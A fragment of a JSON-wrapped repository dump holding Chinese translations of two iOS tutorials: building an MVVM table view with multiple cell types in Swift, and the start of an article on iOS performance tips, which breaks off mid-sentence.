    "content": "> * 原文地址：[iOS: How to build a Table View with multiple cell types](https://medium.com/@stasost/ios-how-to-build-a-table-view-with-multiple-cell-types-2df91a206429)\n> * 原文作者：[Stan Ostrovskiy](https://medium.com/@stasost)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/ios-how-to-build-a-table-view-with-multiple-cell-types.md](https://github.com/xitu/gold-miner/blob/master/TODO1/ios-how-to-build-a-table-view-with-multiple-cell-types.md)\n> * 译者：[LoneyIsError](https://github.com/LoneyIsError)\n> * 校对者：[Fengziyin1234](https://github.com/Fengziyin1234)\n\n# iOS：如何构建具有多种 Cell 类型的表视图\n\n第1部分：怎样才能不迷失在大量代码中\n\n![](https://cdn-images-1.medium.com/max/800/1*cTOkFg6sVgV0MEdThEw2bA.png)\n\n在具有静态 Cell 的表视图中，其 Cell 的数量和顺序是恒定的。要实现这样的表视图非常简单，与实现常规 _UIView_ 没有太大的区别。\n\n只包含一种内容类型的动态 Cell 的表视图：Cell 的数量和顺序是动态变化的，但所有 Cell 都有相同类型的内容。在这里你可以使用可复用 Cell 。这也是最常见的表视图样式。\n\n包含具有不同内容类型的动态 Cell 的表视图：数量，顺序和 Cel l类型是动态的。实现这种表视图是最有趣和最具挑战性的。\n\n想象一下这个应用程序，你必须构建这样的页面：\n\n![](https://cdn-images-1.medium.com/max/800/1*MTXgVkRfdmcGrdZKlaUjdQ.gif)\n\n所有数据都来自后端，我们无法控制下一个请求将接收哪些数据：可能没有「about」的信息，或者「gallery」部分可能是空的。在这种情况下，我们根本不需要展示这些 Cell。最后，我们必须知道用户点击的 Cell 类型并做出相应的反应。\n\n首先，让我们来先确定问题。\n\n我经常在不同项目中看到这样的方法：在 _UITableView_ 中根据 index 配置 Cell。\n\n```\noverride func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n\n   if indexPath.row == 0 {\n        //configure cell type 1\n   } else if indexPath.row == 1 {\n        //configure cell type 2\n   }\n   ....\n}\n```\n\n同样在代理方法 _didSelectRowAt_ 中几乎使用相同的代码：\n\n```\noverride func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n\nif indexPath.row == 0 {\n        //configure action when tap cell 1\n   } else if indexPath.row == 1 {\n        //configure action when tap cell 1\n   }\n   ....\n}\n```\n\n直到你想要重新排序 Cell 或在表视图中删除或添加新的 Cell 的那一刻，代码都将如所预期的工作。如果你更改了一个 index，那么整个表视图的结构都将破坏，你需要手动更新 _cellForRowAt_ 和 _didSelectRowAt_ 方法中所有的 index。\n\n> 换句话说，它无法重用，可读性差，也不遵循任何编程模式，因为它混合了视图和 Model。\n\n有什么更好的方法吗？\n\n在这个项目中，我们将使用 MVVM 模式。MVVM 代表「Model-View-ViewModel」，当你在模型和视图之间需要额外的视图时，这种模式非常有用。你可以在此处阅读有关所有主要 [iOS 设计模式](https://medium.com/ios-os-x-development/ios-architecture-patterns-ecba4c38de52) 的更多信息。\n\n在本系列教程的第一部分中，我们将使用 JSON 作为数据源构建动态表视图。我们将讨论以下主题和概念：_协议，协议拓展，属性计算，声明转换_ 以及更多。\n\n在下一个教程中，我们将把它提高一个难度：通过几行代码来实现 section 的折叠。。\n\n* * *\n\n#### 第1部分： Model\n\n首先，创建一个新项目，将 TableView 添加到默认的 ViewController 中，ViewController 绑定该 tableView，并将ViewController 嵌入到 NavigationController 中，并确保项目能按预期编译和运行。这是基本步骤，此处不予介绍。如果你在这部分遇到麻烦，那对你来说深入研究这个话题可能太早了。\n\n你的 ViewController 类应该像这样子：\n\n```\nclass ViewController: UIViewController {\n   @IBOutlet weak var tableView: UITableView?\n \n   override func viewDidLoad() {\n      super.viewDidLoad()\n   }\n}\n```\n\n我创建了一个简单的 JSON 数据，来模仿服务器响应。你可以在我的 [Dropbox](https://www.dropbox.com/s/esh7uvr6dovwq53/Images.zip?dl=0) 中下载它。将此文件保存在项目文件夹中，并确保该文件的项目名称与文件检查器中的目标名称相同：\n\n![](https://cdn-images-1.medium.com/max/800/1*TSOtH7H7wvmEuzld6LNcqg.png)\n\n你还需要一些图片，你可以在 [这里](https://www.dropbox.com/sh/90h0obxashbwgj0/AAA-eQlN3qe8Bcy-6Yw4R5vwa?dl=0) 找到。下载存档，解压缩，然后将图片添加到资源文件夹。不要对任何图片重命名。\n\n我们需要创建一个 Model，它将保存我们从 JSON 读取的所有数据。\n\n```\nclass Profile {\n   var fullName: String?\n   var pictureUrl: String?\n   var email: String?\n   var about: String?\n   var friends = [Friend]()\n   var profileAttributes = [Attribute]()\n}\n\nclass Friend {\n   var name: String?\n   var pictureUrl: String?\n}\n\nclass Attribute {\n   var key: String?\n   var value: String?\n}\n```\n\n我们将给 JSON 对象添加初始化方法，那样你就可以轻松地将 JSON 映射到 Model。首先，我们需要从 .json 文件中提取内容的方法，并将其转成 Data 对象：\n\n```\npublic func dataFromFile(_ filename: String) -> Data? {\n   @objc class TestClass: NSObject { }\n   let bundle = Bundle(for: TestClass.self)\n   if let path = bundle.path(forResource: filename, ofType: \"json\") {\n      return (try? Data(contentsOf: URL(fileURLWithPath: path)))\n   }\n   return nil\n}\n```\n\n使用 Data 对象，我们可以初始化 Profile 类。原生或第三方库中有许多不同的方可以在 Swift 中解析JSON，你可以使用你喜欢的那个。我坚持使用标准的 Swift JSONSerialization 库来保持项目的精简，不使用任何第三方库：\n\n```\nclass Profile {\n   var fullName: String?\n   var pictureUrl: String?\n   var email: String?\n   var about: String?\n   var friends = [Friend]()\n   var profileAttributes = [Attribute]()\n   \n   init?(data: Data) {\n      do {\n         if let json = try JSONSerialization.jsonObject(with: data) as? [String: Any], let body = json[“data”] as? [String: Any] {\n            self.fullName = body[“fullName”] as? String\n            self.pictureUrl = body[“pictureUrl”] as? String\n            self.about = body[“about”] as? String\n            self.email = body[“email”] as? String\n            \n            if let friends = body[“friends”] as? [[String: Any]] {\n               self.friends = friends.map { Friend(json: $0) }\n            }\n            \n            if let profileAttributes = body[“profileAttributes”] as? [[String: Any]] {\n               self.profileAttributes = profileAttributes.map { Attribute(json: $0) }\n            }\n         }\n      } catch {\n         print(“Error deserializing JSON: \\(error)”)\n         return nil\n      }\n   }\n}\n\nclass Friend {\n   var name: String?\n   var pictureUrl: String?\n   \n   init(json: [String: Any]) {\n      self.name = json[“name”] as? String\n      self.pictureUrl = json[“pictureUrl”] as? String\n   }\n}\n\nclass Attribute {\n   var key: String?\n   var value: String?\n  \n   init(json: [String: Any]) {\n      self.key = json[“key”] as? String\n      self.value = json[“value”] as? String\n   }\n}\n```\n\n#### 第2部分：View Model\n\n我们的 _Model_ 已准备就绪，所以我们需要创建 _ViewModel_。它将负责向我们的 _TableView_ 提供数据。\n\n我们将创建 5 个不同的 table sections：\n\n*   Full name and Profile Picture\n*   About\n*   Email\n*   Attributes\n*   Friends\n\n前三个 section 各只有一个 Cell，最后两个 section 可以有多个 Cell，具体取决于我们的 JSON 文件的内容。\n\n因为我们的数据是动态的，所以 Cell 的数量不是固定的，并且我们对每种类型的数据使用不同的 tableViewCell，因此我们需要使用正确的 ViewModel 结构。首先，我们必须区分数据类型，以便我们可以使用适当的 Cell。当你需要在 Swift 中使用多种类型并且可以轻松的切换时，最好的方法是使用枚举。那么让我们开始使用 _ViewModelItemType_ 构建 _ViewModel_：\n\n```\nenum ProfileViewModelItemType {\n   case nameAndPicture\n   case about\n   case email\n   case friend\n   case attribute\n}\n```\n\n每个 _enum case_ 表示 _TableViewCell_ 需要的不同的数据类型。但是，我由于们希望在同一个表视图中使用数据，所以需要有一个单独的 _dataModelItem_，它将决定所有属性。我们可以通过使用协议来实现这一点，该协议将为我们的 item 提供属性计算：\n\n```\nprotocol ProfileViewModelItem {  \n\n}\n```\n\n首先，我们需要知道的是 item 的类型。因此我们为协议创建一个类型属性。当你创建协议属性时，你需要为该属性设置 _name_, _type_，并指定该属性是 _gettable_ 还是 _settable_ 和 _gettable_。你可以在 [此处](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html) 获得有关协议属性的更多信息和示例。在我们的例子中，类型将是 _ProfileViewModelItemType_，我们仅需要只读该属性：\n\n```\nprotocol ProfileViewModelItem {\n   var type: ProfileViewModelItemType { get }\n}\n```\n\n我们需要的下一个属性是 _rowCount_。它将告诉我们每个 section 有多少行。为此属性指定类型和只读类型：\n\n```\nprotocol ProfileViewModelItem {\n   var type: ProfileViewModelItemType { get }\n   var rowCount: Int { get }\n}\n```\n\n我们最好在协议中添加一个 _sectionTitle_ 属性。基本上，_sectionTitle_ 也属于 _TableView_ 的相关数据。如你所知，在使用 MVVM 结构时，除了在 _viewModel_ 中，我们不希望在其他任何地方创建任何类型的数据，：\n\n```\nprotocol ProfileViewModelItem {\n   var type: ProfileViewModelItemType { get }\n   var rowCount: Int { get }\n   var sectionTitle: String  { get }\n}\n```\n\n现在，我们已经准备好为每种数据类型创建 _ViewModelItem_。每个 item 都需要遵守协议。但在我们开始之前，让我们再向简洁有序的项目迈出一步：为我们的协议提供一些默认值。在 swift 中，我们可以使用协议扩展为协议提供默认值：\n\n```\nextension ProfileViewModelItem {\n   var rowCount: Int {\n      return 1\n   }\n}\n```\n\n现在，如果 rowCount 为 1，我们就不必为 item 的 rowCount 赋值了，它将为你节省一些冗余的代码。\n\n> 协议扩展还允许您在不使用 @objc 协议的情况下生成可选的协议方法。只需创建一个协议扩展并在这个扩展中实现默认方法。\n\n先为 nameAndPicture Cell 创建一个 _ViewModeItem_。\n\n```\nclass ProfileViewModelNameItem: ProfileViewModelItem {\n   var type: ProfileViewModelItemType {\n      return .nameAndPicture\n   }\n   \n   var sectionTitle: String {\n      return “Main Info”\n   }\n}\n```\n\n正如我之前所说，在这种情况下，我们不需要为 rowCount 赋值，因为，我们只需要默认值 1。\n\n现在我们添加其他属性，这些属性对于这个 item 来说是唯一的：_pictureUrl_ 和 _userName_。两者都是没有初始值的存储属性，因此我们还需要为这个类提供 init 方法：\n\n```\nclass ProfileViewModelNameAndPictureItem: ProfileViewModelItem {\n   var type: ProfileViewModelItemType {\n      return .nameAndPicture\n   }\n   \n   var sectionTitle: String {\n      return “Main Info”\n   }\n   \n   var pictureUrl: String\n   var userName: String\n   \n   init(pictureUrl: String, userName: String) {\n      self.pictureUrl = pictureUrl\n      self.userName = userName\n   }\n}\n```\n\n然后我们可以创建剩余的4个 Model：\n\n```\nclass ProfileViewModelAboutItem: ProfileViewModelItem {\n   var type: ProfileViewModelItemType {\n      return .about\n   }\n   \n   var sectionTitle: String {\n      return “About”\n   }\n   \n   var about: String\n  \n   init(about: String) {\n      self.about = about\n   }\n}\n\nclass ProfileViewModelEmailItem: ProfileViewModelItem {\n   var type: ProfileViewModelItemType {\n      return .email\n   }\n   \n   var sectionTitle: String {\n      return “Email”\n   }\n   \n   var email: String\n   \n   init(email: String) {\n      self.email = email\n   }\n}\n\nclass ProfileViewModelAttributeItem: ProfileViewModelItem {\n   var type: ProfileViewModelItemType {\n      return .attribute\n   }\n   \n   var sectionTitle: String {\n      return “Attributes”\n   }\n \n   var rowCount: Int {\n      return attributes.count\n   }\n   \n   var attributes: [Attribute]\n   \n   init(attributes: [Attribute]) {\n      self.attributes = attributes\n   }\n}\n\nclass ProfileViewModeFriendsItem: ProfileViewModelItem {\n   var type: ProfileViewModelItemType {\n      return .friend\n   }\n   \n   var sectionTitle: String {\n      return “Friends”\n   }\n   \n   var rowCount: Int {\n      return friends.count\n   }\n   \n   var friends: [Friend]\n   \n   init(friends: [Friend]) {\n      self.friends = friends\n   }\n}\n```\n\n对于 _ProfileViewModeAttributeItem_ 和 _ProfileViewModeFriendsItem_，我们可能会有多个 Cell，所以 _RowCount_ 将是相应的 Attributes 数量和 Friends 数量。\n\n这就是数据项所需的全部内容。最后一步是创建 _ViewModel_ 类。这个类可以被任何 _ViewController_ 使用，这也是MVVM结构背后的关键思想之一：你的 _ViewModel_ 对 _View_ 一无所知，但它提供了 _View_ 可能需要的所有数据。\n\n_ViewModel_拥有的唯一属性是 item 数组，它对应着 _UITableView_ 包含的 section 数组：\n\n```\nclass ProfileViewModel: NSObject {\n   var items = [ProfileViewModelItem]()\n}\n```\n\n要初始化 _ViewModel_，我们将使用 _Profile_ Model。首先，我们尝试将 .json 文件解析为 Data：\n\n```\nclass ProfileViewModel: NSObject {\n   var items = [ProfileViewModelItem]()\n   \n   override init(profile: Profile) {\n      super.init()\n      guard let data = dataFromFile(\"ServerData\"), let profile = Profile(data: data) else {\n         return\n      }\n      \n      // initialization code will go here\n   }\n}\n```\n\n下面是最有趣的部分：基于 _Model_，我们将配置需要显示的 _ViewModel_。\n\n```\nclass ProfileViewModel: NSObject {\n   var items = [ProfileViewModelItem]()\n   \n   override init() {\n      super.init()\n      guard let data = dataFromFile(\"ServerData\"), let profile = Profile(data: data) else {\n         return\n      }\n \n      if let name = profile.fullName, let pictureUrl = profile.pictureUrl {\n         let nameAndPictureItem = ProfileViewModelNamePictureItem(name: name, pictureUrl: pictureUrl)\n         items.append(nameAndPictureItem)\n      }\n      \n      if let about = profile.about {\n         let aboutItem = ProfileViewModelAboutItem(about: about)\n         items.append(aboutItem)\n      }\n      \n      if let email = profile.email {\n         let dobItem = ProfileViewModelEmailItem(email: email)\n         items.append(dobItem)\n      }\n      \n      let attributes = profile.profileAttributes\n      // we only need attributes item if attributes not empty\n      if !attributes.isEmpty {\n         let attributesItem = ProfileViewModeAttributeItem(attributes: attributes)\n         items.append(attributesItem)\n      }\n      \n      let friends = profile.friends\n      // we only need friends item if friends not empty\n      if !profile.friends.isEmpty {\n         let friendsItem = ProfileViewModeFriendsItem(friends: friends)\n         items.append(friendsItem)\n      }\n   }\n}\n```\n\n现在，如果要重新排序、添加或删除 item，只需修改此 _ViewModel_ 的 item 数组即可。很清楚，是吧？\n\n接下来，我们将 UITableViewDataSource 添加到 ModelView：\n\n```\nextension ViewModel: UITableViewDataSource {\n   func numberOfSections(in tableView: UITableView) -> Int {\n      return items.count\n   }\n   \n   func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n      return items[section].rowCount\n   }\n   \n   func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n   \n   // we will configure the cells here\n   \n   }\n}\n```\n\n* * *\n\n#### 第3部分：View\n\n让我们回到 _ViewController_ 中，开始 _TableView_ 的准备。\n\n首先，我们创建存储属性 _ProfileViewModel_ 并初始化它。在实际项目中，你必须先请求数据，将数据提供给 _ViewModel_，然后在数据更新时重新加载 _TableView_（[在这里查看在 iOS 应用程序中传递数据的方法](https://medium.com/ios-os-x-development/ios-three-ways-to-pass-data-from-model-to-controller-b47cc72a4336)）。\n\n接下来，让我们来配置 tableViewDataSource：\n\n```\noverride func viewDidLoad() {  \n   super.viewDidLoad()  \n     \n   tableView?.dataSource = viewModel  \n}\n```\n\n现在我们可以开始构建 UI 了。我们需要创建五种不同类型的 Cell，每种 Cell 对应一种 _ViewModelItems_。如何创建 Cell 并不是本教程中所需要介绍的内容，你可以创建自己的 Cell 类、样式和布局。作为参考，我将向你展示一些简单示例：\n\n![](https://cdn-images-1.medium.com/max/800/1*Opk9kuxb8bPCZNeS6P-c2Q.png)\n\n<center>NameAndPictureCell 和 FriendCell 示例</center>\n\n![](https://cdn-images-1.medium.com/max/800/1*e_Lxqxroxf6UY02CrTzq1w.png)\n\n<center>EmailCell 和 AboutCell 示例</center>\n\n![](https://cdn-images-1.medium.com/max/800/1*fyGmuvX7IkeZbX1DG4f3iA.png)\n\n<center>AttributeCell 示例</center>\n\n如果你对创建 Cell 需要一些帮助，或者想要一些提示，可以查看我之前关于 _tableViewCells_ 的某个 [教程](https://medium.com/ios-os-x-development/ios-tableview-with-mvc-a05103c01110) 。\n\n每个 Cell 都应该具有 _ProfileViewModelItem_ 类型的 _item_ 属性，我们将使用它来构建 Cell UI：\n\n```\n// this assumes you already have all the cell subviews: labels, imagesViews, etc\n\nclass NameAndPictureCell: UITableViewCell {  \n    var item: ProfileViewModelItem? {  \n      didSet {  \n         // cast the ProfileViewModelItem to appropriate item type  \n         guard let item = item as? ProfileViewModelNamePictureItem  else {  \n            return  \n         }\n\n         nameLabel?.text = item.name  \n         pictureImageView?.image = UIImage(named: item.pictureUrl)  \n      }  \n   }  \n}\n\nclass AboutCell: UITableViewCell {  \n   var item: ProfileViewModelItem? {  \n      didSet {  \n         guard  let item = item as? ProfileViewModelAboutItem else {  \n            return  \n         }\n\n         aboutLabel?.text = item.about  \n      }  \n   }  \n}\n\nclass EmailCell: UITableViewCell {  \n    var item: ProfileViewModelItem? {  \n      didSet {  \n         guard let item = item as? ProfileViewModelEmailItem else {  \n            return  \n         }\n\n         emailLabel?.text = item.email  \n      }  \n   }  \n}\n\nclass FriendCell: UITableViewCell {  \n    var item: Friend? {  \n      didSet {  \n         guard let item = item else {  \n            return  \n         }\n\n         if let pictureUrl = item.pictureUrl {  \n            pictureImageView?.image = UIImage(named: pictureUrl)  \n         }  \n         nameLabel?.text = item.name  \n      }  \n   }  \n}\n\nvar item: Attribute?  {  \n   didSet {  \n      titleLabel?.text = item?.key  \n      valueLabel?.text = item?.value  \n   }  \n}\n```\n\n你们可能会提一个合理的问题：为什么我们不为 _ProfileViewModelAboutItem_ 和 _ProfileViewModelEmailItem_ 创建同一个的 Cell，他们都只有一个 label？答案是可以这样子做，我们可以使用一个的 Cell。但本教程的目的是向你展示如何使用不同类型的 Cell。\n\n> 如果你想将它们用作 reusableCells，不要忘记注册 Cell：UITableView 提供注册 Cell class 和 nib 文件的方法，这取决于你创建 Cell 的方式。\n\n现在是时候在 _TableView_ 中使用 Cell 了。同样，_ViewModel_ 将以一种非常简单的方式处理它：\n\n```\noverride func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n   let item = items[indexPath.section]\n   switch item.type {\n   case .nameAndPicture:\n      if let cell = tableView.dequeueReusableCell(withIdentifier: NamePictureCell.identifier, for: indexPath) as? NamePictureCell {\n         cell.item = item\n         return cell\n      }\n   case .about:\n      if let cell = tableView.dequeueReusableCell(withIdentifier: AboutCell.identifier, for: indexPath) as? AboutCell {\n         cell.item = item\n         return cell\n      }\n   case .email:\n      if let cell = tableView.dequeueReusableCell(withIdentifier: EmailCell.identifier, for: indexPath) as? EmailCell {\n         cell.item = item\n         return cell\n      }\n   case .friend:\n      if let cell = tableView.dequeueReusableCell(withIdentifier: FriendCell.identifier, for: indexPath) as? FriendCell {\n         cell.item = friends[indexPath.row]\n         return cell\n      }\n   case .attribute:\n      if let cell = tableView.dequeueReusableCell(withIdentifier: AttributeCell.identifier, for: indexPath) as? AttributeCell {\n         cell.item = attributes[indexPath.row]\n         return cell\n      }\n   }\n   \n   // return the default cell if none of above succeed\n   return UITableViewCell()\n}\n\n你可以使用相同的结构来构建 didSelectRowAt 代理方法：\n\noverride func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n      switch items[indexPath.section].type {\n          // do appropriate action for each type\n      }\n}\n```\n\n最后，配置 _headerView_：\n\n```\noverride func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {\n   return items[section].sectionTitle\n}\n```\n\n构建运行你的项目并享受动态表视图！\n\n![](https://cdn-images-1.medium.com/max/800/1*ZYedJ6I233Ek9MiQX2ELIQ.png)\n\n<center>结果图</center>\n\n要测试该方法的灵活性，你可以修改 JSON 文件：添加或删除一些 friends 数据，或完全删除一些数据（只是不要破坏 JSON 结构，不然，你就无法看到任何数据）。当你重新构建项目时，_tableView_ 将以其应有的方式查找和工作，而无需任何代码修改。 如果要更改 _Model_ 本身，你只需修改 _ViewModel_ 和 _ViewController_：添加新属性，或重构其整个结构。当然那就要另当别论了。\n\n在这里，你可以查看完整的项目：\n\n[Stan-Ost/TableViewMVVM](https://github.com/Stan-Ost/TableViewMVVM)\n\n谢谢你的阅读！如果你有任何问题或建议 - 请随意提问！\n\n在下一篇文章中，我们将升级现有项目，为这些 section 添加一个良好的折叠/展开效果。\n\n* * *\n\n更新：在 [此处](https://medium.com/ios-os-x-development/ios-aimate-tableview-updates-dc3df5b3fe07) 查看如何在不使用 _ReloadData_ 方法的情况下动态更新此 _tableView_。\n\n* * *\n\n_我同时也为美国运通工程博客写作。在 [_AmericanExpress.io_](http://americanexpress.io/) 查看我的其他作品和我那些才华横溢的同事的作品。_\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/ios-performance-tricks-apps.md",
    "content": "> * 原文地址：[iOS Performance Tricks To Make Your App Feel More Performant](https://www.smashingmagazine.com/2019/02/ios-performance-tricks-apps/)\n> * 原文作者：[Axel](https://www.smashingmagazine.com/author/axel-kee)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/ios-performance-tricks-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO1/ios-performance-tricks-apps.md)\n> * 译者：[LoneyIsError](https://github.com/LoneyIsError)\n> * 校对者：[EdmondWang](https://github.com/EdmondWang)\n\n# 用这些 iOS 技巧让你的 APP 性能更佳\n\n简要概括：良好的性能对于提供良好的用户体验至关重要，iOS 用户通常对其应用程序抱有很高的期望。缓慢且无响应的应用可能会让用户放弃使用你的应用，或者更糟糕的是，对应用留下差评。\n\n虽然现代 iOS 硬件功能十分强大，足以处理许多密集和复杂的任务，但是如果你不关心你的 APP 是怎么执行的话，用户的设备仍会出现无响应的情况。在本文中，我们将研究五种优化技巧，使你的 APP 更流畅。\n\n### 1. 使用可复用的 `tableViewCell`\n\n> 译者注：本例阐述的是使用可复用的 `tableViewCell`，所以将所有 `cell` 翻译成 `tableViewCell`，table view 直译成表视图\n\n你之前可能在 `tableView(_:cellForRowAt:)` 中使用了 `tableView.dequeueReusableCell(withIdentifier:for:)`。但你有没有想过为什么必须使用这个笨拙的 API，而不是只传递一个 `TableViewCell` 的数组？让我们来看看为什么。\n\n假设你有一个有一千行的表视图。如果不使用可复用的 `tableViewCell`，我们必须为每一行创建一个新的 `tableViewCell`，如下所示：\n\n```\nfunc tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n   // Create a new cell whenever cellForRowAt is called.\n   let cell = UITableViewCell()\n   cell.textLabel?.text = \"Cell \\(indexPath.row)\"\n   return cell\n}\n```\n\n你可能已经想到，当你滚动到底部时，这将为设备的内存添加一千个 `tableViewCell`。想象一下如果每个 `tableViewCell` 都包含一个 `UIImageView` 和大量文本会发生什么：一次性加载它们可能会导致应用内存溢出！除此之外，每个 `tableViewCell` 在滚动期间都需要分配新内存。如果你快速滚动表视图，期间会动态分配许多小块内存，这个过程将使 UI 变得卡顿！\n\n为了解决这个问题，Apple 为我们提供了 `dequeueReusableCell(withIdentifier:for:)` 方法。通过将屏幕上不再可见的 `tableViewCell` 放入队列中进行复用，并且当新 `tableViewCell` 即将在屏幕上可见时（例如，当用户向下滚动时，下面的后续 `tableViewCell`），表视图将从此队列中检索 `tableViewCell` 并在 `cellForRowAt indexPath:` 方法中修改它。\n\n[![Cell reuse queue mechanism](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/ba882cd5-8212-4b68-8ad0-cdbf9e26aeb3/ios-performance-tricks-1-dequeue.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/ba882cd5-8212-4b68-8ad0-cdbf9e26aeb3/ios-performance-tricks-1-dequeue.png)\n\niOS 中 `tableViewCell` 复用队列图解（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/ba882cd5-8212-4b68-8ad0-cdbf9e26aeb3/ios-performance-tricks-1-dequeue.png)）\n\n通过使用队列来存储 `tableViewCell`，表视图中不需要创建一千个 `tableViewCell`。反而，它只需要创建足够覆盖表视图区域的 `tableViewCell` 就够了。\n\n通过使用 `dequeueReusableCell` 方法，我们可以减少应用程序使用的内存，并减少内存溢出的可能性！\n\n### 2. 使用看起来像应用首页的启动页\n\n正如 Apple [人机界面指南](https://developer.apple.com/design/human-interface-guidelines/ios/icons-and-images/launch-screen/)（HIG）里提到的，启动屏幕可用于增强对应用程序响应能力的感知：\n\n> 「它仅用于增强你的应用程序的感知，以便快速启动并立即使用。每个应用程序都必须提供启动页。」\n\n将启动页用作启动画面以显示品牌或添加加载动画是一个常见的错误。如 Apple 所述，应将启动页设计为与应用的第一个页面相同：\n\n> 「设计一个与应用程序首页几乎相同的启动页。如果你的应用程序在完成启动后包含着与启动页看起来不同的元素，那么用户则可能会在启动页到应用程序的第一个页面的过程中感到令人不快的闪屏。」\n>   \n> 「启动页并不是一个做品牌推广的机会。避免将程序入口设计成类似启动页面或者“关于”页面的感觉。不要包含徽标或其他品牌元素，除非它们是应用程序第一个页面的静态部分。」\n\n使用启动页进行加载或品牌化可能会减慢首次使用的时间，并使用户感觉应用程序运行缓慢。\n\n当你新建 iOS 项目时，Xcode 会创建一个空白的 `LaunchScreen.storyboard` 供你使用。当应用程序加载视图控制器和布局时，将向用户显示此页面。\n\n> 译者注：文段中没有 Xcode，下文中提及为 Xcode 新建项目。\n\n为了让你的应用感觉更快，你可以将启动页设计为与将向用户显示的第一个页面（视图控制器）类似。\n\n例如，Safari APP 的启动页与其第一个页面类似：\n\n[![Launch screen and first view look similar](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5cf91d55-0418-45e0-8019-3be8f875086e/ios-performance-tricks-2-launchscreen.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5cf91d55-0418-45e0-8019-3be8f875086e/ios-performance-tricks-2-launchscreen.png)\n\n比较：Safari APP的启动页和第一个页面（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5cf91d55-0418-45e0-8019-3be8f875086e/ios-performance-tricks-2-launchscreen.png)）\n\n启动页的 `storyboard` 与任何其他 `storyboard` 文件一样，除了您只能使用标准的 `UIKit` 类，如 `UIViewController`、`UITabBarController` 和 `UINavigationController`。如果你尝试使用任何其他自定义子类（例如 `UserViewController`），Xcode 将提示你禁止使用自定义类名。\n\n[![Xcode shows error when a custom class is used](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/526ff784-be5f-4f25-8e04-ce81ef038088/ios-performance-tricks-3.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/04546e45-0976-4fbd-b776-5d720b982bb4/ios-performance-tricks-3-illegal.png)\n\n启动页 `storyboard` 不能包含非 `UIKit` 标准类。（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/04546e45-0976-4fbd-b776-5d720b982bb4/ios-performance-tricks-3-illegal.png)）\n\n另外需要注意的是，当 `UIActivityIndicatorView` 放置在启动页上时，不会生成动画，因为 iOS 只会将启动页 `storyboard` 生成静态图像并将其展示给用户。（这在 WWDC 2014 “[Platforms State of the Union](https://developer.apple.com/videos/play/wwdc2014/102/)” 演示中简要提到，大概在 `01:21:56`。）\n\nApple 的人机界面指南还建议我们不要在启动页上包含文本，因为启动页是静态的，应用程序不能将文本本地化以适应不同的语言。\n\n**推荐阅读：[具有面部识别功能的移动应用程序：如何实现](https://www.smashingmagazine.com/2018/02/mobile-app-facial-recognition-feature/)**\n\n### 3. 视图控制器的状态恢复\n\n视图控制器的状态保存和恢复，允许用户在离开应用程序后可以返回到之前完全相同的用户界面状态。有时，由于内存不足，操作系统可能需要在应用程序处于后台时从内存中删除应用程序，如果不保留状态，应用程序可能会丢失其对最后一个UI状态的跟踪，可能会导致用户丢失正在进行的操作！\n\n在多任务屏幕中，我们可以看到已放在后台的应用程序列表。我们可以假设这些应用程序仍在后台运行；实际上，由于内存的需求，一些应用程序可能会被系统杀死并重新启动。我们在多任务视图中看到的应用程序快照实际上是系统在退出应用程序时截取到的屏幕截图。（即转到主屏幕或多任务屏幕）。\n\n[![iOS fabricates the illusion of apps running in the background by taking a screenshot of the most recent 